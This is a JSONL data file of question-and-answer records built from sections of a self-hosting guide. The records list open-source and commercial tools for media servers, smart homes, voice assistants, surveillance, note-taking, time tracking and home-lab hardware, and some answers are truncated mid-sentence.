{"id": "gh_61c6737e3de1", "question": "How to: Media Server", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Overseerr](https://overseerr.dev/) is a free and open source software application for managing requests for your media library. It integrates with your existing services, such as [Sonarr](https://sonarr.tv/), [Radarr](https://radarr.video/), and [Plex](https://www.plex.tv/).\n\n[Jellyfin](https://jellyfin.org/) is a Free Software Media System that puts you in control of managing and streaming your media. It is an alternative to the proprietary Emby and Plex, to provide media from a dedicated server to end-user devices via multiple apps.\n\n[Swiftfin](https://github.com/jellyfin/Swiftfin) is a modern video client for the Jellyfin media server. Redesigned in Swift to maximize direct play with the power of VLC and look native on all classes of Apple devices.\n\n[Intro Skipper](https://github.com/ConfusedPolarBear/intro-skipper) is a tool that analyzes the audio of television episodes to detect and skip over intro sequences in Jellyfin.\n\n[Jellyseerr](https://github.com/Fallenbagel/jellyseerr) is a free and open source software application for managing requests for your media library. It is a a fork of Overseerr built to bring support for Jellyfin & Emby media servers.\n\n[Midarr](https://github.com/midarrlabs/midarr-server) is a free and open source (and always will be), Midarr aims to provide a tailored experience for you and your users:\n\n   * Beautifully crafted user interface.\n   * Real-time online statuses.\n   * Simple and easy invite system.\n   * Integrates with your existing services, Radarr and Sonarr.\n   \n[Kirino Media Server](https://kirino.io/) is a lightweight, modular alternative to Plex and Jellyfin.\n\n[Emby](https://emby.media/) is a home media server built on top of other popular open source technologies such as Service Stack, jQuery, jQuery mobile, and Mono. It features a REST-based API with built-in documention to facilitate client development. \n\n[OpenMediaVault](https://www.openmediavault.org/) is a next generation network attached storage (NAS) solution based on Debian Linux. It contains services like SSH, (S)FTP, SMB/CIFS, AFS, UPnP media server, DAAP media server, RSync, BitTorrent client and many more.\n\n[MediaElch](https://github.com/Komet/MediaElch) is a MediaManager for Kodi. Information about Movies, TV Shows, Concerts and Music are stored as NFO files.\n\n[tinyMediaManager](https://www.tinymediamanager.org/) is a media management tool written in Java/Swing. It is written to provide metadata for the Kodi Media Center (formerly known as XBMC), MediaPortal and Plex media server. \n\n[FileBot](https://www.filebot.net/) is the ultimate tool for renaming and organizing your movies, TV shows and Anime. Match and rename media files against online databases, download artwork and cover images, fetch subtitles, write metadata, and more, all at once in matter of seconds.\n\n[Plex media server](https://www.plex.tv/) is a application that gives you the power to add, access and share all the entertainment that matters to you, on almost any device. With 50,000+ on demand titles and hundreds of channels of live TV, plus your own personal media collection, using one powerful app.\n\n[Tautulli](https://tautulli.com/) is a 3rd party application that you can run alongside your Plex Media Server to monitor activity and track various statistics.\n\n[Plex DupeFinder](https://github.com/l3uddz/plex_dupefinder) is a python script that finds duplicate versions of media (TV episodes and movies) in your Plex Library and tells Plex to remove the lowest rated files/versions (based on user-specified scoring) to leave behind a single file/version.\n\n[Prometheus Exporter for Plex](https://github.com/jsclayton/prometheus-plex-exporter) is an expose library playback, storage, and host metrics in a Prometheus format.\n\n[Infuse](https://firecore.com/) is a Video Player for iOS, Apple TV, and Mac. It plays every video file ever created to avoid wasting hours converting and transcoding files.\n\n[InfuseSync](https://github.com/firecore/InfuseSync) is a plugin for Emby and Jellyfin media servers that tracks all media changes to decrease sync times with Infuse clients. \n\n[InvidTUI](https://darkhz.github.io/invidtui/) is an invidious client, which fetches data from invidious instances and displays a user interface in the terminal, and allows for selecting and playing Youtube audio and video.\n\n[Polaris](https://github.com/agersant/polaris) is a music streaming application, designed to let you enjoy your music collection from any computer or mobile device. Polaris works by streaming music directly from your computer (or cloud server), without uploading it to a third-party.\n\n[AirSonic](https://hub.docker.com/r/airsonic/airsonic) is a free, web-based media streamer, providing ubiquitous access to your music.\n\n[TubeSync](https://github.com/meeb/tubesync) is a PVR (personal video recorder) for YouTube. Or, like Sonarr but for YouTube (with a built-in download client). It is designed to synchronize channels and playli", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318321"}
{"id": "gh_3890f107aed9", "question": "How to: Smart Home Automation", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n**Smart home** is a process that allows homeowners to control appliances, thermostats, lights, and other smart devices remotely using a smartphone or tablet through an internet connection.\n\nMost **smart devices** have their own [Virtual Local Area Network (VLAN)](https://en.wikipedia.org/wiki/VLAN) with little to no internet access with broadcasts forwarding to LAN [Subnet aka Subnetwork](https://www.cloudflare.com/learning/network-layer/what-is-a-subnet/) for discovery. Using software such as **Home Assistant, Homebridge, ESPHome, etc.** help simplify the process of controlling and automating all your smart devices.\n\n[Matter](https://buildwithmatter.com/) is an open standard for smart home technology that lets your device work with any Matter-certified ecosystem using a single protocol. Matter comes from the [Connectivity Standards Alliance](https://csa-iot.org/), an organization of hundreds of companies(Amazon, Apple, Google, Comcast, Zigbee Alliance, and Connectivity Standards Alliance (CSA) creating products for the smart home.\n\n**Proprietary Smart Devices**\n\n * [Amazon Alexa](https://alexa.amazon.com/) is a smart virtual assistant software to manage Alexa-enabled devices, control music playback, view shopping lists on the go, keep track of upcoming reminders, check on active timers and much more. \n\n * [Google Assistant](https://assistant.google.com/) is a smart virtual assistant software on mobile and home automation devices.\n\n * [Apple HomeKit](https://www.apple.com/shop/accessories/all/homekit) is a software framework that enables your app to coordinate and control home automation accessories from multiple vendors to present a coherent, user-focused interface. Using HomeKit, your app can: Discover HomeKit-compatible automation accessories and add them to a persistent, cross-device home configuration database.\n\n * [Samsung SmartThings](https://www.smartthings.com/) is a sofwtare framework that you can connect, monitor and control multiple smart home devices quicker and easier. Connect your Samsung smart TVs, smart appliances, smart speakers and brands like Ring, Nest and Philips Hue all from one app.\n\n * [Philips Hue](https://www.philips-hue.com) is  a smart lighting system. The smart lights, Hue Bridge, and smart controls will forever change the way you experience light.\n\n * [Sonos](https://www.sonos.com) is the wireless home sound system that fills as many rooms as you want with great-sounding music, movies, and TV. \n \n**------------------------------------------------------------------**\n\n[Home Assistant](https://www.home-assistant.io/) is an open source home automation that puts local control and privacy first. Home Assistant is powered by a worldwide community of tinkerers and DIY enthusiasts that runs great on Raspberry Pi. [$13 USD voice assistant remote for Home Assistant](https://www.home-assistant.io/voice_control/thirteen-usd-voice-remote/)\n\n_Add-ons are additional applications and services, that can be run alongside\nHome Assistant. The Home Assistant OS and Supervised installations types,\nprovide the Supervisor, which is capable of running and managing these add-ons._\n\n**Home Assistant Official Add-ons**\n\n_Addons created and maintained by the Home Assistant team._\n\n* [DuckDNS](https://github.com/home-assistant/hassio-addons/blob/master/duckdns/DOCS.md) - This updates your Duck DNS IP address and generate SSL using Let's Encrypt.\n* [Almond](https://github.com/home-assistant/hassio-addons/blob/master/almond/DOCS.md) - An Open, Privacy-Preserving Virtual Assistant.\n* [HomeMatic](https://github.com/home-assistant/hassio-addons/blob/master/homematic/DOCS.md) - HomeMatic central based on OCCU.\n* [Let's Encrypt](https://github.com/home-assistant/hassio-addons/blob/master/letsencrypt/DOCS.md) - Get a free SSL certificate from Let's Encrypt; an open and automated certificate authority (CA).\n* [MariaDB](https://github.com/home-assistant/hassio-addons/blob/master/mariadb/DOCS.md) - An open source relational database (fork of MySQL).\n* [File editor](https://github.com/home-assistant/hassio-addons/blob/master/configurator/DOCS.md) - Browser-based configuration file editor.\n* [Mosquitto](https://github.com/home-assistant/hassio-addons/blob/master/mosquitto/DOCS.md) - Fast and reliable MQTT broker.\n* [Terminal & SSH](https://github.com/home-assistant/hassio-addons/blob/master/ssh/DOCS.md) - Allows logging in remotely to using a web terminal or SSH client.\n* [Samba](https://github.com/home-assistant/hassio-addons/blob/master/samba/DOCS.md) - Access your configuration files using Windows network shares.\n* [NGINX SSL proxy](https://github.com/home-assistant/hassio-addons/blob/master/nginx_proxy/DOCS.md) - Reverse proxy with SSL termination.\n* [deCONZ](https://github.com/home-assistant/hassio-addons/blob/master/deconz/DOCS.md) - Control a ZigBee network using ConBee or RaspBee hardware by Dresden Elektronik.\n* [TellStick](https://github.com/home-assistant/hassio-addons/", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318385"}
{"id": "gh_34aec3f034f7", "question": "How to: Voice Assistants", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[$13 voice assistant remote for Home Assistant](https://www.home-assistant.io/voice_control/thirteen-usd-voice-remote/)\n\n[Wyoming](https://github.com/rhasspy/wyoming) is a peer-to-peer protocol for voice assistants (basically [JSONL](https://jsonlines.org/) + PCM audio). It's used in [Rhasspy](https://github.com/rhasspy/rhasspy3/) and the [Home Assistant](https://www.home-assistant.io/integrations/wyoming) for communication with voice services.\n\n[Wyoming Faster Whisper](https://github.com/rhasspy/wyoming-faster-whisper) is a Wyoming protocol server for the faster-whisper speech to text system.\n\n[Wyoming Porcupine1](https://github.com/rhasspy/wyoming-porcupine1) is a Wyoming protocol server for the porcupine1 wake word detection system.\n\n[Wyoming Snowboy](https://github.com/rhasspy/wyoming-snowboy) is a Wyoming protocol server for the snowboy wake word detection system.\n\n[faster-whisper](https://github.com/guillaumekln/faster-whisper/) is a reimplementation of OpenAI's Whisper model using [CTranslate2](https://github.com/OpenNMT/CTranslate2/), which is a fast inference engine for Transformer models.\n\n[Porcupine](https://github.com/Picovoice/porcupine) is a highly-accurate and lightweight wake word engine. It enables building always-listening voice-enabled applications. It uses deep neural networks trained in real-world environments.\n\n[Rhasspy](https://github.com/rhasspy/rhasspy3/) is an open source voice assistant toolkit for many human languages.\n\n[openWakeWord](https://github.com/dscripka/openWakeWord) is an open-source wakeword library that can be used to create voice-enabled applications and interfaces. It includes pre-trained models for common words & phrases that work well in real-world environments.\n\n[Conversation](https://www.home-assistant.io/integrations/conversation) is an integration allows you to converse with **Home Assistant.** You can either converse by pressing the microphone in the frontend (supported browsers only (no iOS)) or by calling the ```conversation/process``` service with the transcribed text.\n\n[Piper](https://github.com/rhasspy/piper/) is a fast, local neural text to speech system that sounds great and is optimized for the Raspberry Pi 4.\n\n[Mycroft](https://mycroft.ai/) is an open source voice assistant that is private by default and completely customizable.\n\n[DeepSpeech](https://github.com/mozilla/DeepSpeech) is an open source embedded (offline, on-device) speech-to-text engine which can run in real time on devices ranging from a Raspberry Pi 4 to high power GPU servers.\n\n[Leon](https://github.com/leon-ai/leon) is your open-source personal assistant. \n\n[Olivia](https://olivia-ai.org/) is an open-source chatbot built in Golang using Machine Learning technologies. Its goal is to provide a free and open-source alternative to big services like DialogFlow.\n\n[Alan SDK](https://github.com/alan-ai/alan-sdk-web) is an voice assistant SDK to build a voice interface for websites and web apps (JavaScript, React, Angular, Vue, Ember, Electron).\n\n[OpenAssistant](https://open-assistant.io/) is a chat-based assistant that understands tasks, can interact with third-party systems, and retrieve information dynamically to do so.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318393"}
{"id": "gh_1136f1e607a7", "question": "How to: Video Surveillance", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Frigate](https://frigate.video/) is an open source NVR built around real-time AI object detection. All processing is performed locally on your own hardware, and your camera feeds never leave your home.\n\n[hkcam](https://hochgatterer.me/hkcam/) is an open-source implementation of an HomeKit IP camera. It uses ffmpeg to access the camera stream and publishes the stream to HomeKit using hap. The camera stream can be viewed in a HomeKit app. \n\n[OpenDataCam](https://opendata.cam/) is an open source tool to quantify the world. It quantifies and tracks moving objects with live video analysis. It is designed to be an accessible, affordable and open-source solution to better understand interactions in urban environments. It never records any photo or video data. The system only saves surveyed meta-data, in particular the path an object moved or number of counted objects at a certain point.\n\n[Viseron](https://github.com/roflcoopter/viseron) is a Self-hosted, local only NVR and AI Computer Vision software. \n\n[zmninja](http://zmninja.zoneminder.com/) is a high performance, cross platform ionic app for Home/Commerical Security Surveillance using ZoneMinder.\n\n[Moonfire NVR](https://github.com/scottlamb/moonfire-nvr) is a security camera network video recorder.\n\n[Shinobi Pro](https://gitlab.com/Shinobi-Systems/Shinobi) is a Next Generation in Open-Source Video Management Software with support for over 6000 IP and USB Cameras.\n\n[WyzeHacks](https://github.com/HclX/WyzeHacks) is a project contains a set of scripts trying to provide additional features not implemented by the official firmware. Currently, it provides the following functions:\n\n  * Enable telnetd on your camera.\n  * Customize the default root password for telnet login.\n  * Redirect all the recordings to an NFS share.\n  * Redirect console logs into an NFS share.\n  * Automatically reboot the camera at certain time.\n  * Automatically archive the recordings.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318402"}
{"id": "gh_c049a4340ae1", "question": "How to: Text-To-Speech Synthesis (TTS)", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[whisper.cpp](https://github.com/ggerganov/whisper.cpp) is a high-performance inference of OpenAI's Whisper automatic speech recognition (ASR) model.\n\n[WaaS](https://github.com/schibsted/WAAS) is a Whisper as a Service (GUI and API for OpenAI Whisper).\n\n[Web Whisper](https://codeberg.org/pluja/web-whisper) is a OpenAI's whisper on your web browser. [Demo](https://whisper.r3d.red/)\n\n[Vosk](https://github.com/alphacep/vosk-api) is an offline open source speech recognition toolkit. It enables speech recognition for 20+ languages and dialects.\n\n[Coqui TTS](http://coqui.ai/) is a deep learning toolkit for Text-to-Speech, battle-tested in research and production.\n\n[Mozilla TTS](https://github.com/mozilla/TTS) is a library for advanced Text-to-Speech generation. It's built on the latest research, was designed to achieve the best trade-off among ease-of-training, speed and quality.\n\n[NVIDIA NeMo](https://github.com/NVIDIA/NeMo) is a conversational AI toolkit built for researchers working on automatic speech recognition (ASR), text-to-speech synthesis (TTS), large language models (LLMs), and natural language processing (NLP).", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318408"}
{"id": "gh_cfd2f14b9fc4", "question": "How to: Video and Audio Processing", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Intel® Quick Sync Video](https://www.intel.com/content/www/us/en/architecture-and-technology/quick-sync-video/quick-sync-video-general.html) is a tools that uses the dedicated media processing capabilities of Intel® Graphics Technology to decode and encode fast, enabling the processor to complete other tasks and improving system responsiveness.\n\n[Intel® QuickAssist Technology (Intel® QAT)](https://www.intel.com/content/www/us/en/architecture-and-technology/intel-quick-assist-technology-overview.html) is a scalable, flexible, and extendable way to accelerate data encryption/decryption and compression for applications from networking to enterprise, cloud to storage, and content delivery to database. \n\n[FFmpeg](https://ffmpeg.org) is a leading multimedia framework that can decode, encode, transcode, mux, demux, stream, filter and play pretty much anything that humans and machines have created. It supports the most obscure ancient formats up to the cutting edge ones on multiple platforms such as Windows, macOS, and Linux.\n\n[FFmpeg.guide](https://ffmpeg.guide/) is a simple GUI tool to create complex FFmpeg filtergraphs quickly and correctly, without having to mess with the cumbersome filter syntax.\n\n[HandBrake](https://handbrake.fr/) is a tool for transcoding video from almost any format with a selection of widely supported codecs. It is supported on Window, macOS, and Linux.\n\n[Tdarr](https://github.com/HaveAGitGat/Tdarr) is a cross-platform conditional based transcoding application for automating media library transcode/remux management in order to process your media files as required. It can set rules for the required codecs, containers, languages etc that your media should have which helps keeps things organized and can increase compatability with your devices. A common use for Tdarr is to simply convert video files from h264 to h265 (hevc), saving 40%-50% in size.\n\n[SRS](https://github.com/ossrs/srs) is a simple, high efficiency and realtime video server, supports RTMP, WebRTC, HLS, HTTP-FLV, SRT and GB28181.\n\n[obsws-python](https://github.com/aatikturk/obsws-python) is a Python SDK for OBS Studio WebSocket v5.0. \n\n**Video/Audio Standards**\n\n[AAC(Advanced Audio Coding)](https://mpeg.chiariglione.org/) is an audio coding standard for lossy digital audio compression. It's endorsed by ISO and IEC as MPEG-2 and MPEG-4 standards for video streams.\n\n[H.264(AVC)](https://en.wikipedia.org/wiki/H.264/MPEG-4_AVC) is a video compression standard based on block-oriented and motion-compensated integer-DCT coding that defines multiple profiles (tools) and levels (max bitrates and resolutions) with support up to 8K.\n\n[H.265(HEVC)](https://en.wikipedia.org/wiki/High_Efficiency_Video_Coding) is a video compression standard that is the successor to H.264(AVC). It offers a 25% to 50% better data compression at the same level of video quality, or improved video quality at the same bit-rate.\n\n[HTTP Live Streaming (HLS)](https://developer.apple.com/streaming/) is a communications protocol developed by Apple that sends live and on‐demand audio and video to iPhone, iPad, Mac, Apple Watch, Apple TV, and PC.\n \n[Dynamic Adaptive Streaming over HTTP (DASH)](https://developer.mozilla.org/en-US/docs/Web/HTML/DASH_Adaptive_Streaming_for_HTML_5_Video) is an adaptive streaming protocol that allows for a video stream to switch between bit rates on the basis of network performance, in order to keep a video playing.\n\n[OpenMAX™](https://www.khronos.org/openmax/) is a cross-platform API that provides comprehensive streaming media codec and application portability by enabling accelerated multimedia components to be developed, integrated and programmed across multiple operating systems and silicon platforms.\n\n[GStreamer](https://gstreamer.freedesktop.org/) is a library for constructing graphs of media-handling components. The applications it supports range from simple Ogg/Vorbis playback, audio/video streaming to complex audio (mixing) and video (non-linear editing) processing. Applications can take advantage of advances in codec and filter technology transparently.\n\n[Media Source Extensions (MSE)](https://www.w3.org/TR/media-source/) is a [W3C specification](https://github.com/w3c/media-source) that allows JavaScript to send byte streams to media codecs within Web browsers that support HTML5 video and audio. Also, this allows the implementation of client-side prefetching and buffering code for streaming media entirely in JavaScript.\n\n[WebRTC](https://webrtc.org/) is an open-source project that adds real-time communication capabilities to your application that works on top of an open standard. It supports video, voice, and generic data to be sent between peers, allowing developers to build powerful voice- and video-communication solutions.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318423"}
{"id": "gh_d927c12eb4da", "question": "How to: AudioBooks", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Audioserve](https://github.com/izderadicka/audioserve) is a simple personal server to serve audio files from directories. Intended primarily for audio books, but anything with decent directories structure will do. Focus here is on simplicity and minimalist design.\n\n[Audiobookshelf](https://www.audiobookshelf.org/) is a self-hosted audiobook and podcast server.\n\n[Jellyfin Bookshelf Plugin](https://github.com/jellyfin/jellyfin-plugin-bookshelf)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318438"}
{"id": "gh_34b65e1093bb", "question": "How to: Note-Taking", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Joplin](https://joplinapp.org/) is an open source note-taking app that you can securely access from any device. \n\n[HedgeDoc](https://hedgedoc.org/) is an open-source, web-based, self-hosted, collaborative markdown editor. \n\n[Lapce](http://lapce.dev/) is a Lightning-fast And Powerful Code Editor written in pure Rust with a UI in Druid (which is also written in Rust). \n\n[nb](https://xwmx.github.io/nb) is a CLI and local web plain text note‑taking, bookmarking, and archiving with linking, tagging, filtering, search, Git versioning & syncing, Pandoc conversion, + more, in a single portable script. \n\n[Outline](https://www.getoutline.com/) is the fastest knowledge base for growing teams. It provides a beautiful, realtime collaborative, feature packed, and markdown compatible. \n\n[Rustpad](https://rustpad.io/#yAbbW9) is an open-source collaborative text editor based on the operational transformation algorithm. Share a link to this pad with others, and they can edit from their browser while seeing your changes in real time.\n\n[Turtl](https://turtlapp.com/) is a secure, collaborative notebook for bookmarks or passwords, files or shopping lists.\n\n[The Everything App](https://anytype.io/) is an app where you can do everything: Protect your thoughts & data with end-to-end encryption. Local, on-device encryption. Only you have encryption keys. Offline account creation: control your keys, own your data. No server, no gatekeeper: peer-to-peer sync on local networks. Locally store your data, self-host your backups where you please.\n\n[TiddlyWiki](https://tiddlywiki.com/) is a single-file mode wiki application for todo lists, effective project management tool and of course writing drafts and notes. It has extensions for all the major browsers.\n\n[Laverna](https://laverna.cc/) is a note taking application with Markdown editor and encryption support. Consider it like open source alternative to Evernote. \n\n[Notesnook](https://notesnook.com/) is a fully open source & end-to-end encrypted note taking alternative to Evernote. \n\n[Zettlr](https://www.zettlr.com/) is an open-source Markdown editor for the 21st century.\n\n[Carnet](https://www.getcarnet.app/) is a complete open source note taking app. It has extensions for all the major browsers.\n\n[Frog](https://tenderowl.com/work/Frog) is a tool that quickly extract text from almost any source: youtube, screencasts, PDFs, webpages, photos, etc. Grab the image and get the text.\n\n[Zeal](https://zealdocs.org/) is an offline documentation browser for software developers inspired by [Dash](https://kapeli.com/dash).", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318459"}
{"id": "gh_8ba975d1e9d4", "question": "How to: Time Monitoring", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[ActivityWatch](https://activitywatch.net) is an app that automatically tracks how you spend time on your devices.\n\n[Kimai](https://www.kimai.org/)  is a free & open source timetracker. It tracks work time and prints out a summary of your activities on demand. \n\n[Solidtime](https://www.solidtime.io/) is an open source time tracking software for individuals and teams, with a modern user interface and reporting.\n\n[TimeTagger](https://timetagger.app) is an open source time-tracker based on an interactive timeline and powerful reporting. \n\n[Traggo](https://traggo.net/)  is a tag-based time tracking tool. In Traggo there are no tasks, only tagged time spans.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318465"}
{"id": "gh_2a529214643b", "question": "How to: Foundations/Projects", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Matter](https://buildwithmatter.com/) is an open standard for smart home technology that lets your device work with any Matter-certified ecosystem using a single protocol. Matter comes from the [Connectivity Standards Alliance](https://csa-iot.org/), an organization of hundreds of companies(Amazon, Apple, Google, Comcast, Zigbee Alliance, and Connectivity Standards Alliance (CSA) creating products for the smart home.\n\n[Open Source Hardware Association (OSHWA)](https://www.oshwa.org) is a non-profit organization that advocates for open-source hardware. It aims to act as a hub of open source hardware activity of all types while actively cooperating with other initiatives such as the TAPR Open Hardware License, open-source development groups at CERN, and the Open Source Initiative (OSI).\n\n[The Open Connectivity Foundation](https://openconnectivity.org) is dedicated to ensuring secure interoperability for consumers, businesses and industries by delivering a standard communications platform, a bridging specification, an open source implementation and a certification program allowing devices to communicate regardless of form factor, operating system, service provider, transport technology or ecosystem.\n\n[Raspberry Pi Foundation](https://www.raspberrypi.org/about/) is a UK-based charity with the mission to enable young people to realise their full potential through the power of computing and digital technologies. \n\n[OpenSSF(Open Source Security Foundation)](https://openssf.org/) is a cross-industry forum for a collaborative effort to improve open source software security. \n\n[OpenJS Foundation](https://openjsf.org/) is the premier home for critical open source JavaScript projects, including Appium, Dojo, jQuery, Node.js, and webpack, and 27 more.\n\n[EdgeX Foundry](https://www.edgexfoundry.org) is a vendor-neutral project under the Linux Foundation. The initiative is aligned around a common goal: the simplification and standardization of the foundation for edge computing architectures in the Industrial IoT market, while still allowing the ecosystem to add significant value.\n\n[Eclipse Foundation](https://www.eclipse.org) provides our global community of individuals and organizations with a mature, scalable and commercially-friendly environment for open source software collaboration and innovation.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318488"}
{"id": "gh_452ae116e18e", "question": "How to: System Hardware", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](table-of-contents)\n \n * [Refurbished Servers on Amazon](https://www.amazon.com/refurbished-servers/s?k=refurbished+servers&rh=p_36%3A10000-60000&qid=1667083059&rnid=386442011&ref=sr_nr_p_36_2)\n * [Network Switches & Hubs on ebay](https://www.ebay.com/b/Enterprise-Network-Switches-Hubs/182091/bn_887002)\n * [Server Monkey](https://www.servermonkey.com/servers.html)\n * [The Server Store](https://www.theserverstore.com/)\n \n\n#### CPUs\n\n**Intel Processors(x86)**\n\n[Back to the Top](table-of-contents)\nI recommend using Intel CPUs no older than the second generation of the Intel Core processors (Core i7, i5, i3) AKA **Sandy Bridge(Jan. 2011)** for those that want to utilize [Intel® Quick Sync Video](https://www.intel.com/content/www/us/en/architecture-and-technology/quick-sync-video/quick-sync-video-general.html). Though, if you're concerned about power efficiency(~5W idle) I would recommend 7th Generation or newer.\n\nAlso, I recommend using **[Intel® QuickAssist Technology (Intel® QAT)](https://www.intel.com/content/www/us/en/architecture-and-technology/intel-quick-assist-technology-overview.html)** a scalable, flexible, and extendable way to accelerate data encryption/decryption and compression for applications from networking to enterprise, cloud to storage, and content delivery to database. Available in 3rd Gen Intel® Xeon® Scalable Processors and Intel Atom® Processor C Series/P Series.\n \n * [Intel Celeron Processor N Series](https://ark.intel.com/content/www/us/en/ark/products/series/87282/intel-celeron-processor-n-series.html)\n * [Intel Atom Series](https://ark.intel.com/content/www/us/en/ark.html#@PanelLabel29035)\n * [Intel Pentium](https://ark.intel.com/content/www/us/en/ark.html#@PanelLabel29862)\n * [Intel i3](https://ark.intel.com/content/www/us/en/ark.html#@PanelLabel122139)\n * [Intel i5](https://ark.intel.com/content/www/us/en/ark.html#@PanelLabel122139)\n * [Intel i7](https://ark.intel.com/content/www/us/en/ark.html#@PanelLabel122139)\n * [Intel Xeon](https://ark.intel.com/content/www/us/en/ark.html#@PanelLabel595)\n\n**AMD Processors(x86)**\n\n[Back to the Top](table-of-contents)\n* [AMD Athlon](https://www.amd.com/en/processors/athlon-pro)\n * [AMD Ryzen G-Series](https://cpuarchive.com/CPU/AMD/Ryzen)\n * [AMD Ryzen 3](https://cpuarchive.com/CPU/AMD/Ryzen)\n * [AMD Ryzen 5](https://cpuarchive.com/CPU/AMD/Ryzen)\n * [AMD Ryzen 7](https://cpuarchive.com/CPU/AMD/Ryzen)\n * [AMD Threadripper](https://www.amd.com/en/processors/threadripper-creators)\n\n#### Devices\n\n[Back to the Top](table-of-contents)\n\n**Note: Will be adding more device soon!**\n\n * [Raspberry Pi](https://github.com/mikeroyal/Self-Hosting-Guide#raspberry-pi)\n * [Turing Pi 2](https://turingpi.com/)\n * [Home Assistant Yellow](https://www.home-assistant.io/blog/2021/09/13/home-assistant-yellow/)\n * [ZimaBoard](https://www.zimaboard.com/) \n * [ODROID-H3 and H3+](https://ameridroid.com/products/odroid-h3)\n * [Intel® NUC Mini PCs](https://www.intel.com/content/www/us/en/products/details/nuc.html)\n * [Beelink mini PC](https://www.bee-link.com/)\n * [M1 Mac Mini](https://www.apple.com/mac-mini/) \n * [Nexcom Industrial Computers](https://www.nexcom.com/Products/industrial-computing-solutions/industrial-fanless-computer/core-i-performance)\n * [Aeotec MultiSensor 7, 6-in-1 Zwave Sensors](https://www.amazon.com/dp/B08XHZP7NV)\n * [reTerminal Raspberry Pi (CM4 module) all-in-one board](https://www.seeedstudio.com/ReTerminal-with-CM4-p-4904.html) \n * [KOOLCORE R1 - The smallest mini PC with 4 x 2.5G LANs](https://www.ikoolcore.com/products/ikoolcore)\n * [Khadas VIM1S](https://www.khadas.com/vim1s)\n * [Asustor DriveStor 4 NAS](https://www.asustor.com/product?p_id=71)\n * [TRENDnet TEG-S350 (2.5 GbE) Switch](https://www.amazon.com/TRENDnet-2-5GBASE-T-Compatible-10-100-1000Mbps-TEG-S350/dp/B08XWK4HNT)\n * [Storinator™](https://www.45drives.com/products/storage/) is a line of Ultra-Large, Direct-Wired storage Servers by [45Drives](https://www.45drives.com/).\n * [HL15 from 45HomeLab](https://store.45homelab.com/configure/hl15) is an open-source, open-platform, 15-bay homelab server. The HL15 features enterprise architecture and strength brought to a scale that works for the homelab. The server's direct-wired architecture can provide blazing fast transfer speed of up to 2GB per second. \n * [LattePanda Sigma](https://www.lattepanda.com/lattepanda-sigma) is a powerful and compact x86 Windows single board computer (SBC). It features the 13th Intel® Core™ i5-1340P Rapter Lake (12-Core, 16-Thread) processor and 16GB Dual-Channel LPDDR5-6400MHz memory.\n * [Apex Storage X21](https://www.apexstoragedesign.com/apexstoragex21) is a storage solution that gives you have the", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318511"}
